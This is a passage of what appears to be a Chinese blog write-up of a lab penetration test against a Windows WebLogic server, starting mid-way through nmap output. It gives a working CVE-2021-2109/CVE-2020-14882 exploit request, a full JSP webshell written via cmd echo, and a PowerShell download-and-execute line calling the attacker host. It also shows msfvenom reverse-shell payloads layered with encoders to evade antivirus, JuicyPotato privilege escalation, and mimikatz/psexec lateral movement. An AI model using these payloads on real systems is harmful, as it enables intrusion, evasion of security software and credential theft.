| Not valid after: 2021-09-01T06:36:50
| MD5:   1c00 9f56 6b51 eb7d 1052 f498 f3fe 4a91
|_SHA-1: 1385 065e 4b73 bbaa 81c2 cc87 634c 47c4 3faa 9940
|_ssl-date: 2021-03-03T09:03:21+00:00; 0s from scanner time.
7001/tcp open http               Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open msrpc             Microsoft Windows RPC
49153/tcp open msrpc             Microsoft Windows RPC
49154/tcp open msrpc             Microsoft Windows RPC
49155/tcp open msrpc             Microsoft Windows RPC
49156/tcp open msrpc             Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| ms-sql-info:
|   192.168.111.129:1433:
|     Version:
|       name: Microsoft SQL Server 2008 R2 SP2
|       number: 10.50.4000.00
|       Product: Microsoft SQL Server 2008 R2
|       Service pack level: SP2
|       Post-SP patches applied: false
|_   TCP port: 1433
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_   Message signing enabled but not required
| smb2-time:
|   date: 2021-03-03T09:02:09
|_ start_date: 2021-03-03T08:19:58

NSE: Script Post-scanning.
Initiating NSE at 04:03
Completed NSE at 04:03, 0.00s elapsed
Initiating NSE at 04:03
Completed NSE at 04:03, 0.00s elapsed
Initiating NSE at 04:03
Completed NSE at 04:03, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.87 seconds

可以看到7001端口存在weblogic10.3.6.0服务

由于是10.3.6.0,如果考虑CVE-2020-14882/14883,那么不能回显

这里优先考虑CVE-2021-2109

CVE-2021-2109

本地启动java -jar JNDIExploit-v1.11.jar -i 192.168.111.1

再结合CVE-2020-14882的未授权访问

然后直接POST

POST /console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.111;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.111.129:7001
cmd: ipconfig
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

成功回显了执行的命令

tasklist /svc看一下有

ZhuDongFangYu.exe <=> 360安全卫士-主动防御<br>

接下来找个静态目录写shell

因为有360这里上冰蝎混淆一下流量(虽然不知道360会不会拦)

不能写shell,不能用echo,不能调用powershell会被360杀掉,怎么办呢

这里看一文章,绕过360无文件powershell上线

直接上payload:

cmd /c echo IEX ((new-object net.webclient).downloadstring('http://192.168.111.1:8089/payload.txt')) | powershell -

这里执行失败了,远程下载文件也被waf掉了

其实直接写shell是可以的,这里注意一下转义

看一下绝对路径

cmd /c dir

返回:C:\Oracle\Middleware\user_projects\domains\base_domain

那么根据weblogic的目录结构很轻松的就可以找到存放静态资源的位置:

http://192.168.111.129:7001/console/framework/skins/wlsconsole/images/Login_11gLogo1.gif

上payload写冰蝎:

cmd /c echo ^<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\\framework\skins\wlsconsole\images\shell.jsp

冰蝎连接!连上去可以传msf的payload了,实测不会被waf掉,冰蝎太牛批了!!!

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=12345 -f exe > shellyyz.exe
传上去
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128
set LPORT 12345
run

然后在冰蝎上运行文件,但是这里运行文件被杀掉了,只能在payload那里做一下免杀了

初试免杀

msf自编码处理

使用msfvenom --list encoders查看所有编码器

等级最高的是cmd/powershell_base64x86/shikata_ga_nai

这里选择x86/shikata_ga_nai生成payload

msf自捆绑

msf生成的payload可以捆绑到其他exe软件上,例如这里下载一个windows里面自带的一个软件

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

接下来我们再生成payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=12345 -e x86/shikata_ga_nai -x putty.exe  -i 15 -f exe -o yyz.exe

多重处理

上面的还是会被杀,那这里再多处理几次编码

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.111.128 LPORT=12345 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > yyz.exe

哦哦哦哦哦还是被杀掉了

尝试过的免杀

  • 基于cpp的shellcode
  • 基于go的shellcode
  • cs免杀插件
  • 等等

这下面的操作是我误认为免杀过了,但是只是因为weblogic的内存占用太大导致了360被挤下去了过的免杀

meterpreter

基本命令

sessions    #sessions –h 查看帮助
sessions -i <ID值> #进入会话   -k 杀死会话
background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程   kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown   #重启/关机
shell #进入目标机cmd shell

进程迁移

getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate <pid值>   #将Meterpreter会话移植到指定pid值进程中/只能迁移到小于等于权限的进程里面
kill <pid值>   #杀死进程

提权

先看一下补丁信息

run post/windows/gather/enum_patches

[*] Patch list saved to /home/kali/.msf4/loot/20210304021350_default_192.168.111.129_enum_patches_208142.txt
[+] KB2999226 installed on 9/8/2019
[+] KB958488 installed on 9/9/2019
[+] KB976902 installed on 11/21/2010

看一下九大权限

whoami /priv
特权信息
----------------------
特权名                         描述                       状态  
=============================== ========================== ======
SeIncreaseQuotaPrivilege       为进程调整内存配额         已禁用
SeSecurityPrivilege             管理审核和安全日志         已禁用
SeTakeOwnershipPrivilege       取得文件或其他对象的所有权 已禁用
SeLoadDriverPrivilege           加载和卸载设备驱动程序     已禁用
SeSystemProfilePrivilege       配置文件系统性能           已禁用
SeSystemtimePrivilege           更改系统时间               已禁用
SeProfileSingleProcessPrivilege 配置文件单个进程           已禁用
SeIncreaseBasePriorityPrivilege 提高计划优先级             已禁用
SeCreatePagefilePrivilege       创建一个页面文件           已禁用
SeBackupPrivilege               备份文件和目录             已禁用
SeRestorePrivilege             还原文件和目录             已禁用
SeShutdownPrivilege             关闭系统                   已禁用
SeDebugPrivilege               调试程序                   已启用
SeSystemEnvironmentPrivilege   修改固件环境值             已禁用
SeChangeNotifyPrivilege         绕过遍历检查               已启用
SeRemoteShutdownPrivilege       从远程系统强制关机         已禁用
SeUndockPrivilege               从扩展坞上取下计算机       已禁用
SeManageVolumePrivilege         执行卷维护任务             已禁用
SeImpersonatePrivilege         身份验证后模拟客户端       已启用
SeCreateGlobalPrivilege         创建全局对象               已启用
SeIncreaseWorkingSetPrivilege   增加进程工作集             已禁用
SeTimeZonePrivilege             更改时区                   已禁用
SeCreateSymbolicLinkPrivilege   创建符号链接               已禁用

SeImpersonatePrivilege权限在,很好,可以使用烂土豆提权

但是这里有360,大概率会被杀掉,网上下一个免杀的就行了,还是冰蝎先传上去

C:\JuicyPotato.exe -p "C:\shellyyz.exe"

msf监听返回了merterpreter

getuid 看一下是Server username: NT AUTHORITY\SYSTEM

网络拓扑

ipconfig看一下

Interface 13
============
Name         : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:68:d3:69
MTU         : 1500
IPv4 Address : 10.10.10.80
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::e8e4:f653:f5de:f864
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:68:d3:5f
MTU         : 1500
IPv4 Address : 192.168.111.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::cca:90b1:878f:75ce
IPv6 Netmask : ffff:ffff:ffff:ffff::

扫描内网的存活主机

run post/windows/gather/arp_scanner RHOSTS=192.168.111.0/24
[*] Running module against WEB
[*] ARP Scanning 192.168.111.0/24
[+]     IP: 192.168.111.2 MAC 00:50:56:fe:f5:66 (VMware, Inc.)
[+]     IP: 192.168.111.1 MAC 00:50:56:c0:00:00 (VMware, Inc.)
[+]     IP: 192.168.111.129 MAC 00:0c:29:68:d3:5f (VMware, Inc.)
[+]     IP: 192.168.111.128 MAC 00:0c:29:89:07:83 (VMware, Inc.)
[+]     IP: 192.168.111.130 MAC 00:0c:29:9e:7b:70 (VMware, Inc.)
[+]     IP: 192.168.111.254 MAC 00:50:56:f1:d2:af (VMware, Inc.)
[+]     IP: 192.168.111.255 MAC 00:0c:29:68:d3:5f (VMware, Inc.)
其中1,2,254,255应该是网关路由相关的机器,那么129,128,130为存活主机

上线cs

这里选择不过360上线cs,由于回到学校用自己的电脑打渗透,环境一样,但是发现了360不工作,就很奇怪。

首先上线cs,直接生成cs的exe版本的payload即可。

提权

还是选择上面的scv-exe提权,直接派生的会话就是system权限了。

注意

  1. 这里还得取决于weblogic服务是否是administrator权限起的,如果不是,是不能使用administrator的token来派生system会话的,也不能抓取hash与使用mimikatz
  2. 如果是administrator起的weblogic服务的话,拿到的beacon是显示的web/delay (admin)这里相当于administrator权限如果不是的话,显示的是web/delay

抓取hash与横向渗透

先扫一下域存活主机,然后mimikatz抓取hash
然后生成一个SMB445端口的listener
cs里面点击菜单栏的show targets in table view
右键点击目标主机,jump -> psexec ->
可以直接用域控的hash或者密码来登录
listener选择smb,seesion使用之前获取hash的那个机子

上面是我贴的靶场1的横向渗透步骤,貌似没用,后面再学习一下其他的方法吧。先咕咕咕咕了~

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇